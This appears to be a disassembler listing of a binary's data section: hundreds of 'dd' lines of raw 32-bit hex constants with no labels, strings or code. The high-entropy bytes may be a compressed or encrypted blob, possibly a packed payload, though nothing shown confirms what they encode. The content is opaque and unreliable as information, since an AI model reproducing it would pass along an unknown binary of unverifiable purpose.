		dd 2F4E09Fh, 0B05080ADh, 9EA0AB98h, 77C17122h, 9D2F56C5h
		dd 7FF0F531h, 0ADA7B37Ah, 0FE3DA8F0h, 10FF484Fh, 893B9486h
		dd 1ECA552Eh, 853BCBCBh, 198A0D3h, 0C0A2E31Ah, 0FE71C66Bh
		dd 599D1876h, 40670307h, 0C025AADh, 22E6BC80h, 0D1B04089h
		dd 6A29AA64h, 4901822Bh, 0FB9A7DB6h, 0D5179CF3h, 0E9D087E8h
		dd 3B11882Dh, 157A3D54h, 2F2FC90Bh, 2DFACF55h, 766CEA7Eh
		dd 48E97D54h, 0EAA445B3h, 58AF0C83h, 0B78441A1h, 0F8010477h
		dd 57C1482h, 5296605Dh,	65779DBAh, 0D1F87B5Eh, 523DE912h
		dd 3BAB6CC9h, 91715F5Fh, 6EF55550h, 3112163Ch, 0F80108EFh
		dd 5D49291Fh, 0AF147F51h, 20C7CEB5h, 59763D78h,	4DD11973h
		dd 7F321A9Eh, 0A64A544Fh, 19A49Ah, 664B42D7h, 33F18268h
		dd 0B4512677h, 1229E712h, 9CAD9930h, 4524543h, 0B5486F2h
		dd 9095E65Ah, 0A8175B7Eh, 48E90BAEh, 0EF9B579Ah, 0A952ADCAh
		dd 13B6E23Dh, 0E081988h, 934A1D80h, 2B8AA5F8h, 405CE1B4h
		dd 0FC5888DCh, 0EBF53653h, 823CEE53h, 61B130C0h, 29067D09h
		dd 90B346FDh, 2C58EA16h, 8CEC989Ch, 0C58953EFh,	5C859950h
		dd 40ACFABDh, 5F255B50h, 5E205631h, 972AEA21h, 8752ABBDh
		dd 0B646216h, 826985BFh, 1AC06FE1h, 802651D5h, 1C34031Eh
		dd 0DDCA0813h, 65EBBE07h, 787E2BB5h, 518F542Ch,	1213FEB1h
		dd 0FC5F23BCh, 0A23FA98Eh, 0B3E74085h, 0C94C2C71h, 80EB0757h
		dd 0E23090EAh, 0E0B75373h, 0F6CF12FEh, 0F11DEFDFh, 0EF12CDDDh
		dd 419F3A04h, 2D13F4CBh, 0A377AF3Ch, 5E73ECB2h,	2D5471D4h
		dd 0E27D2FE5h, 93B8FF55h, 9B95EF2Bh, 0E5A7C987h, 487610AFh
		dd 6E5A4C0Eh, 4D8070Eh,	82C04E4Eh, 0F03FE9C9h, 0C20D0082h
		dd 357C3C2Ch, 7DF87EDFh, 0D6412C90h, 4D20F0C1h,	0AB469F52h
		dd 0EE9A5F2Dh, 8F9FA07Eh, 293E277Dh, 633AA54h, 0F10D5003h
		dd 0FAD83433h, 2566C146h, 17914AF3h, 2B8D030h, 762F699h
		dd 0E63B9052h, 6B609072h, 2BDE1D0Ch, 0BCE82838h, 77BB3A20h
		dd 2F5E1EB8h, 658B9E1Dh, 96E90AAh, 0A2053FACh, 5F9B49FAh
		dd 564CA096h, 18B927FDh, 83750AA7h, 0D6B49A25h,	0BAC46F90h
		dd 4548AFCFh, 6291123Fh, 0CADD5889h, 12EF5D77h,	20934425h
		dd 0E7FBA297h, 0F88192FBh, 6B40D22Ch, 73B8FEE8h, 4E49134Dh
		dd 0CBE2C5ACh, 58162ED8h, 74A3F028h, 0A1535E71h, 0B5E9D0C4h
		dd 1F5D47CDh, 0CD5AA401h, 2978DE33h, 8286EE70h,	3B636858h
		dd 5253307Fh, 907286BAh, 0CE628191h, 37FA6Ch, 7A145B75h
		dd 55408125h, 0C9801A5Bh, 7A7D38D6h, 9487708h, 2FC3497Fh
		dd 669D3E10h, 0A02B5F81h, 0B9110B79h, 0E240BF6Ah, 41F10207h
		dd 0FCDDE90Dh, 97FCA8F5h, 0AD09D010h, 8074FE68h, 1609F768h
		dd 0C6965595h, 0B0F5D2B5h, 5BF34052h, 61687197h, 737D1EE9h
		dd 0F00769A1h, 4AEC9FE9h, 26A034ACh, 3DACDFE6h,	7C0BD990h
		dd 84439C53h, 0BD005F77h, 5CB50CAFh, 3ED8104h, 20876D73h
		dd 0C0820164h, 25F26126h, 0F05A7728h, 81ECD151h, 3212EE0Fh
		dd 0F680FD9Bh, 2B99A8DDh, 40F54C09h, 0BF055320h, 0BA04C95h
		dd 55B72582h, 1AC3EB13h, 0DFC093ACh, 0CFCAF7FAh, 5AEFDCh
		dd 80C6B2A8h, 83E05FC2h, 0ABA5D3FEh, 74596E32h,	0EBBFC5FBh
		dd 129451Ch, 10A58055h,	0DE60095Fh, 87315E74h, 706C08DDh
		dd 8C85E001h, 87D1520h,	0CD284006h, 6E20CF63h, 490818CEh
		dd 874F1847h, 815C6480h, 98418892h, 80470874h, 82CDF0Ch
		dd 2F0D4018h, 62E28140h, 593B38DBh, 33D0702h, 1810F5C4h
		dd 201046E2h, 99681932h, 2190CA51h, 74571816h, 0C6C7D110h
		dd 18929B08h, 31585320h, 3E1096EDh, 0F1088C95h,	0C40818E8h
		dd 4344099h, 0FD0602EAh, 4FE0836h, 305311CCh, 69B864EEh
		dd 58600452h, 46ABF04h,	0A80469C7h, 0F392046Ch,	8AFEB06h
		dd 319E0720h, 0BD204B38h, 0A3E102B7h, 10E9628Ch, 1531D710h
		dd 448803B0h, 0B24021C4h, 221CAA3h, 4EC98CE4h, 8CFF5110h
		dd 18D5F508h, 7E6540AAh, 19D73B89h, 2098F608h, 1303C2ECh
		dd 6D1010A0h, 497A191Dh, 0EC535408h, 0F039104Ah, 0B31D18F6h
		dd 0C4148008h, 0CFBB118h, 62C369A9h, 0A1910FDh,	0F81D402h
		dd 1408EA6Ch, 40836B40h, 6540016Eh, 19886429h, 61890CC5h
		dd 7FF8A804h, 6145807Bh, 0E4FF08CAh, 15988788h,	0B824B036h
		dd 1B93912Ch, 0B310A729h, 0F0083EAAh, 899118E2h, 3A50A02h
		dd 812C634h, 38484ADDh,	930F0890h, 84B510Ch, 7698A984h
		dd 40A18824h, 30635A96h, 10E72808h, 10944218h, 5718860Ah
		dd 90E00844h, 4E9E20C6h, 0E9126608h, 6020A9B4h,	156120BEh
		dd 81C1033h, 0EA04EC88h, 9104044Dh, 9549BE0Ch, 0A208D665h
		dd 3756A846h, 71732020h, 10260531h, 9D03CB01h, 76BC8912h
		dd 8D61DC58h, 2F618074h, 8150FC80h, 1031FFEFh, 5796C9E4h
		dd 1F52201h, 8886398h, 431887B9h, 0C6B67761h, 3856D908h
		dd 8579933h, 40597CBCh,	0C0A95565h, 4138349Eh, 4921DF40h
		dd 0B44444EEh, 902C408Ch, 0CE082465h, 4D849046h, 88D45428h
		dd 2E21C4E5h, 0D1BC96D3h, 3188D420h, 3A084A8Fh,	0B02A01F7h
		dd 88392B01h, 2737728h,	0E8FC9C60h, 0C0B5A464h,	0C7480D15h
		dd 8EC78B1Eh, 0D0452544h, 752C4767h, 13EB020Ch,	6FB90E89h
		dd 5403DA7h, 408F4401h,	0C90B4901h, 748BF775h, 0DED07371h
		dd 0ABF04A03h, 0C0336F47h, 4FB10F80h, 0B82CD630h, 8BE90909h
		dd 40C7D691h, 3D66B951h, 90F0525Eh, 614E9629h, 8B722E20h
		dd 535DE99Eh, 21B502B7h, 4277BF9Dh, 0E703DF18h,	40131E52h
		dd 0D8BC0C68h, 65221CDEh, 0D3B5FBC4h, 9EE9850Bh, 0F5E8F8A4h
		dd 16A8B286h, 0AC5C3D7Bh, 3DA586Ah, 0E49A1BBh, 53CC123h
		dd 0FF884B89h, 0D972BBD7h, 903AD0D9h, 0D6F3F263h, 0CBF18B5Eh
		dd 4046026Bh, 46E04437h, 421D1915h, 0D3A5012Dh,	6E140267h
		dd 107D452Ah, 338729B0h, 0BD38726Ch, 0E91BC6A0h, 988AEE2Eh
		dd 0F607B681h, 0D7E66DEh, 0FECC2883h, 2482077h,	0C9BADBE9h
		dd 8484F0E9h, 6CA2BF21h, 465A4D89h, 0F3A24EE2h,	2DC8645Dh
		dd 0D16EBF0Dh, 6885682Dh, 0D69E4AA5h, 55AC900Ah, 455C2F3Dh
		dd 313C0084h, 0F1894021h, 2EE0BF5Eh, 30C4E278h,	86FC5A54h
		dd 9AEC2AADh, 0FEC8E982h, 90BD95D3h, 583BEC07h,	0FBD53D12h
		dd 1A35F23h, 0AB6851D1h, 3E051925h, 4E236C2Ch, 0CF26FCE1h
		dd 4DF2425Ah, 0A0F95701h, 89315DC9h, 682EF4EFh,	0E9501704h
		dd 838D843Ah, 0C4D6F82Fh, 468D32EAh, 0B51A7BE0h, 0E906474Dh
		dd 0B7862C16h, 0C1F6988Fh, 6D028BD8h, 0BBFD9698h, 403D8485h
		dd 50CBB933h, 0BE300DB4h, 0C6810BCCh, 504F66Dh,	52CE2928h
		dd 0D60842BAh, 917D595Ah, 0FFD68E7h, 0AEB32Eh, 0BF575E54h
		dd 0DBC2E44h, 1931E934h, 0E89B2BAAh, 0DA7AE909h, 0A16574D6h
		dd 0BBB8C5BBh, 0C05379Dh, 62BDF8B4h, 5D585E0Bh,	0C49A8B55h
		dd 378438F6h, 648F9E70h, 56E2AA53h, 1851E9C2h, 0D8886276h
		dd 9D4F3FFEh, 730E2DB2h, 0BB015F96h, 0BE20831h,	0F750C03Bh
		dd 9090F41Dh, 9EA6544h,	32E426C4h, 272A6C01h, 92F02EC7h
		dd 3F241672h, 2C0B50Dh,	17405A08h, 5E815192h, 0DC11AFF4h
		dd 0A0FD99E6h, 0E3E448CCh, 6260B1FEh, 1EABD0Eh,	816E0163h
		dd 83170DE5h, 9336305Dh
		dd 1AB03626h, 8285F51Eh, 64F106A1h, 3E601F6Ch, 0E2C0A5B2h
		dd 0D2F6041Bh, 0D417F204h, 16402526h, 0A3027ECh, 2550D47Ah
		dd 0F9575FF2h, 0A0084194h, 0BCA0141Ch, 7BBD67F3h, 32B5316Fh
		dd 0E5C389BDh, 9690DD57h, 995EDC1h, 2B933Dh, 445E8BB4h
		dd 5DE8896Ch, 781C0572h, 2B4E2DDFh, 0E984BC99h,	24BB3ACFh
		dd 488AFBF2h, 63250248h, 5F5ADA56h, 2709D479h, 61E0745Ah
		dd 7F0115A6h, 67AE6D88h, 0F3F93583h, 0B874ECDh,	7C865330h
		dd 0FE2801E6h, 5B0206CFh, 0B151D7F6h, 0AE605FA5h, 280245E9h
		dd 346859CFh, 69A2F64Eh, 0C56DB8D8h, 6E02415h, 0EFDFBE29h
		dd 0F4ED8764h, 7F307DFDh, 8FEEF40Eh, 14430420h,	0AA1B8DE9h
		dd 0E98545A6h, 8117D475h, 5421B786h, 459FC7Fh, 6097492Ah
		dd 0E7AF90C4h, 0EBE9CFE7h, 1D12DF96h, 37AA8B80h, 7C970305h
		dd 9008209Dh, 78E60296h, 0CB295FE9h, 0A5BCC165h, 0DDB4F52Ch
		dd 0C342D99Ch, 41D6DC02h, 6B9CEFE9h, 0DE21E275h, 9D3F6E41h
		dd 2BCC7F43h, 1D38B556h, 1759C4E9h, 3E4E7D72h, 0F0121DB3h
		dd 0C1110333h, 6EC107E0h, 0B4E77B59h, 0D57E547Bh, 52B7032Dh
		dd 0F02958E5h, 2BFFD3E2h, 6880206Eh, 7966154h, 0D1455D42h
		dd 313E92E5h, 862C18DFh, 6B139591h, 1261013h, 82F43BBCh
		dd 1C0C071Fh, 18431E98h, 0E0D7CC54h, 46F0BF26h,	0E16F9B25h
		dd 0FA21D5Fh, 446813E0h, 0C447EC15h, 919864E5h,	0BE3940EBh
		dd 0C2193609h, 0F56E8073h, 156CBA0Dh, 18549C68h, 869DF05Fh
		dd 51123B01h, 0E652BBB8h, 45604731h, 0E9E00DD1h, 7A5245A5h
		dd 9D67ECBh, 33B0C3C5h,	305BAF68h, 4E6E3B8Ch, 1EBEB2C6h
		dd 0C7CB0E2Dh, 207CFE67h, 1EE91A07h, 0C25F28ABh, 9E4D4094h
		dd 0BC4691DDh, 0B88C1D12h, 670EC43Bh, 0F48231BBh, 2ABEA640h
		dd 770AF80Ch, 93190CEh,	6A8C0277h, 0E30BEECh, 13EBE335h
		dd 7624259Ch, 488A0076h, 0B48B64E3h, 48E20Ch, 0C10BEE18h
		dd 0B8095FE7h, 0E2F102FBh, 431FE5D5h, 0DD34D54Dh, 25D21D80h
		dd 536001C8h, 9F7611BBh, 96423A22h, 0FD3B6C77h,	0F49A26E0h
		dd 8960F9F6h, 0CBBD5586h, 2657043Dh, 0FA5DEF29h, 0B090B94h
		dd 3509D858h, 9A729297h, 2EE90CD8h, 3C5BDA1h, 0E7F6B4A0h
		dd 0C82464BEh, 0FE01C998h, 1188406h, 0C7B406EBh, 8636C53Eh
		dd 4A6CBF39h, 5B787E01h, 0B12B6EFFh, 24AF0039h,	85E32005h
		dd 60420B46h, 0E985E41Dh, 0CA132E37h, 2813EAB3h, 1865BA42h
		dd 1E30958Dh, 0D9539755h, 12053D08h, 2517E821h,	95D7780Eh
		dd 45B536EEh, 0B24A8DEFh, 0E0B67B0Ah, 0B164277Ch, 0EE4368D1h
		dd 42AE0E13h, 3175DAF7h, 48BABD5Fh, 70761FE7h, 0D382BE9Eh
		dd 64FEC7E9h, 4210BDF4h, 4AD60C12h, 0DB901A06h,	6ACD9722h
		dd 758C5292h, 0E3B76248h, 2B761460h, 0D5D7FC62h, 7B5FAF19h
		dd 35AAFB85h, 0F4ABB9E3h, 9DDE25C3h, 0B686B8B9h, 229F26ADh
		dd 7FF82548h, 0D24996C6h, 685513D0h, 288CE404h,	0ED8661A9h
		dd 5524193Dh, 0DD17565Bh, 0BAC070FEh, 0D827050Eh, 2817A66h
		dd 9927FAF5h, 0CC5DD529h, 52E91B6Fh, 47E2745Ch,	1EECDC1h
		dd 1E6302BAh, 8213EA01h, 6E80E93Eh, 33E38613h, 6E9206D3h
		dd 0E8955320h, 2EDB5278h, 1041D1FAh, 48503D96h,	7B9C25E2h
		dd 5B71A7FBh, 29DCD63h,	48D2CA29h, 0ED8B7F49h, 65CFB503h
		dd 0A9E99BA2h, 85D83E5Eh, 0EE4C54DBh, 0B28FEEEAh, 0F3801367h
		dd 8904EE2Fh, 4EAAC2Ch,	0AA0B5E35h, 76F8DF49h, 0A27D72D6h
		dd 6F7FE8Fh, 0DA1B4266h, 0B7509D04h, 0D9B65240h, 18FD98C0h
		dd 5690B5E9h, 571E09BBh, 268D31A8h, 0FFDA1424h,	7AAF49E5h
		dd 5D9BF17h, 0AA27927Ah, 434C27ADh, 20BF3DE9h, 8723AACBh
		dd 31AEE50Fh, 664756BBh, 43C8187Ah, 353AC10h, 0EBD0B8B3h
		dd 0BEE9C3FEh, 5CD24CF8h, 2466C595h, 4E715238h,	0DBED5D69h
		dd 0D2C396BAh, 3EC97871h, 7AD1D87Bh, 61E8505Eh,	17869CC0h
		dd 0CD2401B5h, 0E9857159h, 76AFA713h, 0B401F702h, 3AB5512Ah
		dd 932ACDFEh, 0EB8138C3h, 6BC3D859h, 0F4E3E91Bh, 0AB80CC40h
		dd 7CA80CF0h, 92072D2Ch, 0C75A425Eh, 36AC33E8h,	455A4750h
		dd 5F77317h, 4D77FCA4h,	0F00244CDh, 59225D44h, 3D5F68FDh
		dd 8663BAA8h, 5DFA7EB3h, 0D25FB884h, 5BE86E2Eh,	691E4325h
		dd 1B8B2A63h, 2D34A030h, 4AC60BC2h, 3030EF07h, 95703AE9h
		dd 0A16C2F24h, 793C2ED4h, 40F64085h, 3770BFh, 0F53507E8h
		dd 17027E4h, 0CD1C34Ah,	4A92B5ABh, 0EB8CA05Dh, 76FD0BB7h
		dd 0E05A7A97h, 71431125h, 1BFF826Fh, 9B80211Eh,	3F265AB3h
		dd 0A5136798h, 0DAF0BC25h, 37D489Bh, 5DEA0102h,	4C7DD689h
		dd 133601AAh, 0F02945FAh, 0A807452Dh, 1FE7D1Ch,	0EC7EFC95h
		dd 27F1DC7h, 9E85719Dh,	0A7CA5DDh, 13C6C740h, 0B1FA4AC3h
		dd 68F90C9Fh, 0B63FD945h, 0A05826AFh, 0C502B511h, 1054159Dh
		dd 0ED93855Dh, 0BA9E0818h, 6F1F023Eh, 0F9AFE917h, 82058848h
		dd 1A68A40Ah, 0D5689573h, 0D106C218h, 3079BD5Ah, 121A360Eh
		dd 4D38EBAh, 7770E955h,	99689FBh, 68FBDC81h, 60287D24h
		dd 0E25B09Fh, 1AF292C1h, 3B12E058h, 51D562E8h, 9F331EFDh
		dd 7B627AD9h, 0F4F8B05Eh, 74232879h, 38AE0B86h,	59027C65h
		dd 88AB951h, 0F35A93F0h, 0BA65E0Ah, 27339810h, 3D61FB53h
		dd 106634ADh, 0D8842AB5h, 38E25297h, 6188D39Dh,	430388Ch
		dd 10AC19BBh, 10147658h, 0F14A0FEBh, 6F047B96h,	4FB0341Eh
		dd 2BEC0FC1h, 907C1147h, 98680A15h, 6BD227h, 9D6E5ECAh
		dd 1858B72Ah, 23B77B1h,	0CB5779F3h, 9D48DD31h, 5D82BB4Eh
		dd 0C3A94703h, 79C75512h, 63C078A8h, 2971A469h,	545F0880h
		dd 5156C601h, 15BF0FBEh, 107C5EA6h, 0AC5A3D43h,	0B25B51C3h
		dd 4C617AEBh, 0C2730893h, 3D37F514h, 0E9D8FC40h, 0A06A2820h
		dd 307CC867h, 0FDE223E0h, 0C047254h, 51E9DA31h,	0F33FB1B1h
		dd 0C7921A5Ah, 97B1DA3Ah, 0D95F4142h, 6856E083h, 189F71D0h
		dd 0A82B086Dh, 1DD4E5BDh, 801E7B4Eh, 984B66F5h,	0EF4EE96Dh
		dd 0EDD13D06h, 69D90C1Ah, 0A0326061h, 24DD6810h, 512FC605h
		dd 851CBA36h, 4989F8DFh, 405E3259h, 9A168DAFh, 0E95F0BEBh
		dd 49AB69DCh, 7025C072h, 0C99EA238h, 407099Eh, 45ACD3BFh
		dd 82068F7h, 79FF584Ah,	8A812F9Dh, 0BD2EF3B8h, 528982h
		dd 7C583A9Bh, 0C8789770h, 9943DC1Fh, 0E5EF8100h, 5F0A1FC9h
		dd 0C9B6A289h, 0F312231h, 7F044AF0h, 5A4609C5h,	0D05C589Bh
		dd 0DB0E6327h, 0FF5BD844h, 550232Ch, 0C31936B8h, 345DA873h
		dd 2DC32076h, 2063D05h,	39AC889Ah, 0FD2CCC62h, 255BCF2Eh
		dd 58CBE4F8h, 0D5071076h, 0DF6B5478h, 4C81C912h, 0E3CB27B8h
		dd 237BCED9h, 5E4A62DAh, 2A6EDF0Dh, 338C8796h, 5FD1C631h
		dd 3C9AC0E1h, 0E89E7DBBh, 5CA3F449h, 7EBC109h, 0E310E056h
		dd 27A998ACh, 0A49BF089h, 2958C6C0h, 6FC77197h,	53D8DEC9h
		dd 0FBFC2FE1h, 9863189h, 95F608D9h, 7AB2575Fh, 6B18724Ch
		dd 0A0EF970Ch, 7336112h, 0FD7791FEh, 77E0A523h,	0B097E89Eh
		dd 4BA568FAh, 132FE37Fh, 0EFAC296Eh, 0E9C2D8A4h, 85C85530h
		dd 3D721CF1h, 3E9806F7h, 0DFF6168Bh, 0E54D04DEh, 9C3A127Ch
		dd 67106327h, 89045E3h,	4BB2B84Fh, 997F32BFh, 8E8F245Dh
		dd 0DAAB2895h, 0E9C561C9h, 5B003DDFh, 531D432Ch, 0D3530BB7h
		dd 123512FAh, 24204ABh,	0F1800011h, 7BD1F64Ah, 0BB5895D0h
		dd 0E25F3ECBh, 929F79B7h
		dd 51CD4C4Fh, 4C13C7D4h, 0B0087C6Ch, 5A5C0B9Ch,	0E153835Fh
		dd 377A3FB4h, 31CFFBBCh, 52D30EFh, 0CA0831EBh, 172F2259h
		dd 6CBCC868h, 0C620E64Eh, 0BC0179Bh, 4E8E6850h,	20B41130h
		dd 0C1530D00h, 0F78103E7h, 1A7402C8h, 1FB3E9D7h, 4DEA1248h
		dd 7A7B6DFEh, 0E6F17E2Fh, 82D1778Eh, 0ED3CE0F5h, 0D70082F5h
		dd 0BF4A3022h, 0A5F1215Fh, 8319A503h, 0DCEEF806h, 3162D71h
		dd 12C62205h, 0BA5F9108h, 45E853E0h, 0FE57735Eh, 0E76829A4h
		dd 0E1B48D2Ah, 47FFC201h, 0E97425A1h, 26054C8Dh, 98A3B47Bh
		dd 1EE2234Fh, 2E4168C2h, 0ECCAE9B3h, 20D6F2C9h,	609CF91Dh
		dd 0CF93DDE9h, 9CB0578h, 8DFC05D1h, 188F28AEh, 0C77256h
		dd 0BDB35ABh, 5BDE781h,	0F712DD14h, 0C0C1BED7h,	7F933BCh
		dd 2D02AF15h, 0ECF0BDE9h, 10E9F3C5h, 1FD112AFh,	25F0A408h
		dd 49A5575Eh, 0D0B86C77h, 7F4FBA02h, 626043F9h,	6A7E457Eh
		dd 120D0CC0h, 0C2319988h, 125CEF6h, 3AFCEF00h, 56165CD8h
		dd 0D31B187Ch, 5AA90C08h, 0FE7DAE27h, 1608A0A0h, 8376E957h
		dd 0C0BD5218h, 437A9D08h, 442F2F7Dh, 6EA1DA49h,	280BE482h
		dd 7E426F82h, 86AA5504h, 97F8C319h, 56277DB6h, 2E565180h
		dd 472F3BF9h, 0FE2F557Eh, 77BE4056h, 6209DB72h,	7E5EF731h
		dd 3F845296h, 66A8CCBFh, 98A61497h, 56115C0Ah, 0B53B61D7h
		dd 5F283E60h, 68C00BB6h, 88181658h, 0E9162AB5h,	1DB4CB23h
		dd 4A0D163Bh, 0EF47C231h, 0BD550880h, 7DF40FA2h, 0B2454D24h
		dd 7205202h, 6336014h, 160E2D74h, 0C357924Ah, 7184B0DCh
		dd 0C4D67E1h, 2E595283h, 0D02734DEh, 68789743h,	262B6DBFh
		dd 0BB721287h, 0E3009B39h, 5CC54161h, 2720FC18h, 84E0D327h
		dd 6601EDF3h, 49392C68h, 0EF5BF4A4h, 10F4139Fh,	5043682Ch
		dd 0C6AC1BBDh, 9554D320h, 5521FA4Eh, 0F99788BDh, 0EAC5817h
		dd 0B71390F4h, 0CF7286F2h, 26E9E113h, 7A8730C5h, 0D7FA2E0Bh
		dd 0CE898344h, 6B7D89FFh, 51362780h, 0B1017C6Eh, 0F2E7A76Fh
		dd 0FD34FD0Bh, 413DFF10h, 19EA8080h, 0AD2F65Ah,	0E6F06A85h
		dd 0FCB10951h, 3AA509E9h, 99DBC35Dh, 29756DB8h,	1432FA58h
		dd 0D3BD7D9Eh, 5D559B0Bh, 8B55933Ah, 11A577Eh, 449B1A5Dh
		dd 85752511h, 1DEC717Eh, 0B4667468h, 0E4F26412h, 904B0B07h
		dd 1CB18ED7h, 1699F63Dh, 0A5E2F7CFh, 937F363h, 0CD4D088h
		dd 903F0C50h, 0D8F63E96h, 979829ADh, 3758B551h,	0E9AD048Ah
		dd 59099D64h, 80F2AC78h, 1ADD704Ah, 2DB39020h, 0B7F0495Fh
		dd 3D536001h, 0B8FFE92Ch, 0B45EFC73h, 6A4191A6h, 9428F340h
		dd 6065B066h, 0F9BA14EFh, 271ACD72h, 420BFDBEh,	80633A80h
		dd 49797F7Fh, 134D9077h, 41854B3Ah, 5069B58Ah, 82F43AB6h
		dd 2E6E80F7h, 0E9441F0Fh, 0FDC7DA3Ch, 14D5AE82h, 9BE3AE68h
		dd 0C03E2338h, 0C5FE12EBh, 5496BFF5h, 3534B782h, 2E8FE789h
		dd 0A0A127E8h, 0B8227AEDh, 0ABA4AA0Bh, 2B36EA07h, 1BC541F7h
		dd 0BF0496B5h, 0AEB004BBh, 0D1CF91FBh, 4AAA1871h, 3A5FD95Ch
		dd 0E4D220B9h, 564D84CCh, 6FE907B9h, 72FCCE62h,	0CF76601Ah
		dd 6E364BEFh, 46DA3060h, 340AC562h, 1A1CD729h, 14091C08h
		dd 8A426690h, 0F27791BAh, 0FF81DA4Bh, 3C60C531h, 62D89C14h
		dd 14FDF5BFh, 0B4302DD8h, 145D72ABh, 0ED0227CCh, 6072F7FCh
		dd 9119805Ah, 7C420044h, 0C8294FA0h, 23759B7h, 0C2280B04h
		dd 304941h, 9F08EBC1h, 9AC35740h, 88C46090h, 890B1D3Bh
		dd 13CF2254h, 50D40BAh,	54F4DFFEh, 0E3C1E92Ah, 29AC0439h
		dd 0A009882Eh, 0C3282018h, 0B0126E4Fh, 3C420B4h, 133AB907h
		dd 25A56D61h, 1B6A1F0h,	7EEC0EAh, 0CC3BE680h, 0E915F9F6h
		dd 4FADF7D8h, 6EC31637h, 0EF630336h, 3F2E7606h,	4E634D9h
		dd 91CCA3AEh, 0D2F709ACh, 2E005F4Ah, 450E5DA4h,	5320ADBAh
		dd 0E8312E82h, 64211A39h, 427B7957h, 0E15612F5h, 0F0D1A62h
		dd 0CD6BDDA5h, 0B5A66FEBh, 0EA027C2Dh, 7B599DBEh, 0B03B70A7h
		dd 956878DBh, 74CFA71h,	287934E9h, 275FB892h, 0D8BD5E4Bh
		dd 0AD80EBE8h, 4CCF2568h, 5205D3E4h, 3274FCBAh,	5AD6EC00h
		dd 2638D705h, 265270CEh, 1B510FE8h, 0F6817FC0h,	69E01AF8h
		dd 770E4667h, 0E8619573h, 2C5338E6h, 3EF2E45h, 4E3D4F7Ah
		dd 0FB492401h, 84E9A708h, 0BBD8033Eh, 38D040ADh, 0BAB8DBF7h
		dd 0F6938B6Bh, 50E7054Bh, 0F330C06Ch, 7A27367Dh, 7907532h
		dd 3E6E054Fh, 8069812h,	5B8D24E9h, 0BA868028h, 0CE311560h
		dd 348D18D2h, 7610DA62h, 50A06086h, 0BA0A935Dh,	105AB545h
		dd 0AF0B692Ah, 0DE5C74D4h, 0EC735490h, 0E7C148A6h, 5B0305C0h
		dd 2D097114h, 0A0B52CEh, 7209225h, 611145F9h, 30C331A7h
		dd 53B2B943h, 7651EA27h, 58E58F37h, 0F8E9EF21h,	60946D3Eh
		dd 201A8992h, 32E2CC19h, 250FEACDh, 0EF10A060h,	0C648A6D7h
		dd 0BE38D61Bh, 56511562h, 135A27D9h, 0ADB1E62Eh, 278E7652h
		dd 0BE96DDC5h, 268D3D60h, 7E3498DBh, 8AC7A35Ch,	0C68301C3h
		dd 6B34001h, 3D766741h,	19B826F2h, 84A4FA58h, 884373AFh
		dd 0E79A53FCh, 65949A75h, 5B588237h, 0DB55E830h, 33AB2DD8h
		dd 0C806A204h, 6DE056Eh, 0DF00D42Ch, 0E9366D1Eh, 843C4B24h
		dd 0EE2B125Ah, 98A2391Eh, 6CF1F068h, 31AA1DABh,	56521D40h
		dd 0A64EE250h, 5F2C206Dh, 817F00EFh, 0F9A41F1h,	2D53A558h
		dd 0CC5C5C8Ch, 0E54E6808h, 9DE930AFh, 6D78CB4Fh, 242CE48h
		dd 0B217BAE6h, 1C55C50h, 0E94D4B2Dh, 66E450B1h,	347472BFh
		dd 0C68943B7h, 0A0C74C0Ah, 0EE4BC158h, 63F2F129h, 0A852FBE2h
		dd 133A6BBAh, 9D1A07E9h, 2F663C28h, 0BBDE76EEh,	0D020FB93h
		dd 8C372C94h, 4C785558h, 4E0973A9h, 0F64FE948h,	20632B5h
		dd 547DBE80h, 2D044C69h, 0A7D36351h, 98F95DBAh,	0C6E225Ah
		dd 98643130h, 4B276A35h, 0D2288051h, 69B84A03h,	0D35FC200h
		dd 0D031B4BCh, 5655BE9h, 0BBAE6884h, 8BBFC934h,	7A4A60E5h
		dd 17722D27h, 0B3BFA4E9h, 0DAC72FF0h, 87D33104h, 22C8201Ah
		dd 17573E32h, 5556BA4Ch, 0C7013591h, 96F57E60h,	486841D3h
		dd 0A47C7D4Bh, 13330623h, 0C4B0E922h, 1B84ABC8h, 0EE27EBFCh
		dd 0AA90D2C4h, 0EF6A216h, 2D144D08h, 450F02D8h,	8620430Dh
		dd 92FD6BDh, 75B39EBh, 2A4EA57h, 6A18E908h, 4E0BC895h
		dd 8362941Bh, 4C5334EBh, 55583425h, 47B77914h, 81E9B464h
		dd 1621B8Ah, 97EC731h, 965E6FA2h, 0D155FA67h, 75F950E1h
		dd 0E77B6907h, 1B3CD08h, 8E5ABF05h, 685FE962h, 34A85B6Ch
		dd 1931EC26h, 3A793160h, 7B0503C0h, 27012C63h, 6E121D36h
		dd 61288284h, 10E1204Dh, 3C6AD47Eh, 90CF2924h, 59630820h
		dd 0F01E5A1Eh, 9A91E963h, 3C43BDC8h, 98EC1DC1h,	5BBE8864h
		dd 16EB3880h, 0C3BACB3Ah, 9CF2FDCBh, 0E951073Dh, 120E3981h
		dd 0F66028EAh, 53056AB0h, 66E95652h, 0ED902FD7h, 9CD5F702h
		dd 5E0F0BABh, 0EACBF30Fh, 254F965Dh, 9966B59Fh,	17C64695h
		dd 610E2568h, 230AF74Ch, 50551A90h, 4F79D07Ah, 0B0C99529h
		dd 690BD6B5h, 0B2522091h, 7834276h, 0F592AE94h,	0E9A38125h
		dd 5E365805h, 332F3804h, 0E281AA4Fh, 6A89606Eh,	88A01603h
		dd 722215C2h, 732C16CFh, 9D2F08ADh, 9E0B7EFBh, 6DB686Dh
		dd 5313F23h, 0E993CD30h, 0F99FB8F9h, 0ED8B4F7Dh, 0B8542825h
		dd 600EB13Ah, 5525DB63h, 5D05A1CCh, 129CFE9h, 0ABED74EBh
		dd 0A10F9244h, 7FF59DBBh
		dd 0D42C8434h, 0F7DD0287h, 925DE9D3h, 0DBC160CAh, 0F2206E16h
		dd 0D8CB11FEh, 5854A1D7h, 0B8345578h, 27B027C4h, 5D4F04A2h
		dd 0FA02E7C1h, 0D71ED6B3h, 26B24D1h, 3F494E15h,	528ACFC0h
		dd 198B427h, 0C942E900h, 62FBB34Dh, 19979624h, 2976B9E0h
		dd 0C559930h, 7C2510BFh, 0C7E30549h, 0C54F7543h, 0C3C788DAh
		dd 9FAB45Ch, 60DA893Dh,	440A4E0h, 96E928AAh, 0CF88A809h
		dd 37FFEE4Eh, 46D608A2h, 0D022D7CCh, 56D0BD07h,	5CA247DCh
		dd 1C54487h, 3BE18103h,	0E765D83Ah, 575004B0h, 830BF0Eh
		dd 0E7D1C42Bh, 819E00BBh, 65AF6FF7h, 2D807358h,	39AFFA5Fh
